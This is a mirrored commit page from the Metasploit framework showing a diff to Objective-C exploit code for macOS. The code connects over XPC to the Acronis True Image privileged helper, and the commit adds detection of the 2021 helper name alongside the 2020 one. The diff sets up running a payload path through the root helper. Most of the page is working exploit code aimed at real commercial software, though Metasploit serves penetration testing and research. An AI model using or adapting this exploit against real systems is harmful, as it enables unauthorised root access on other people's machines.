mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-07-18 18:31:41 +02:00
use 2021 helper name in objective-c code too
This commit is contained in:
parent
13a557013c
commit
cf9e54909c
@ -9,10 +9,25 @@
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
NSString *service_name;
|
||||
NSString *payload = @"<%= @payload_path %>";
|
||||
NSArray *arg_array = @[@"-c", payload];
|
||||
NSFileManager *file_manager = [NSFileManager defaultManager];
|
||||
|
||||
NSString *service_name_2020 = @"com.acronis.trueimagehelper";
|
||||
NSString *service_name_2021 = @"com.acronis.helpertool";
|
||||
NSString *helper_path_2020 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2020];
|
||||
NSString *helper_path_2021 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2021];
|
||||
|
||||
if ([file_manager fileExistsAtPath:helper_path_2020])
|
||||
{
|
||||
service_name = service_name_2020;
|
||||
}
|
||||
else
|
||||
{
|
||||
service_name = service_name_2021;
|
||||
}
|
||||
|
||||
NSString *service_name = @"com.acronis.trueimagehelper";
|
||||
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
|
||||
NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
|
||||
[connection setRemoteObjectInterface:interface];
|
||||
|
Binary file not shown.
@ -11,10 +11,25 @@
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
NSString *service_name;
|
||||
NSString *payload = @"/tmp/payload";
|
||||
NSArray *arg_array = @[@"-c", payload];
|
||||
NSFileManager *file_manager = [NSFileManager defaultManager];
|
||||
|
||||
NSString *service_name_2020 = @"com.acronis.trueimagehelper";
|
||||
NSString *service_name_2021 = @"com.acronis.helpertool";
|
||||
NSString *helper_path_2020 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2020];
|
||||
NSString *helper_path_2021 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2021];
|
||||
|
||||
if ([file_manager fileExistsAtPath:helper_path_2020])
|
||||
{
|
||||
service_name = service_name_2020;
|
||||
}
|
||||
else
|
||||
{
|
||||
service_name = service_name_2021;
|
||||
}
|
||||
|
||||
NSString *service_name = @"com.acronis.trueimagehelper";
|
||||
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
|
||||
NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
|
||||
[connection setRemoteObjectInterface:interface];
|
||||
|
Loading…
Reference in New Issue
Block a user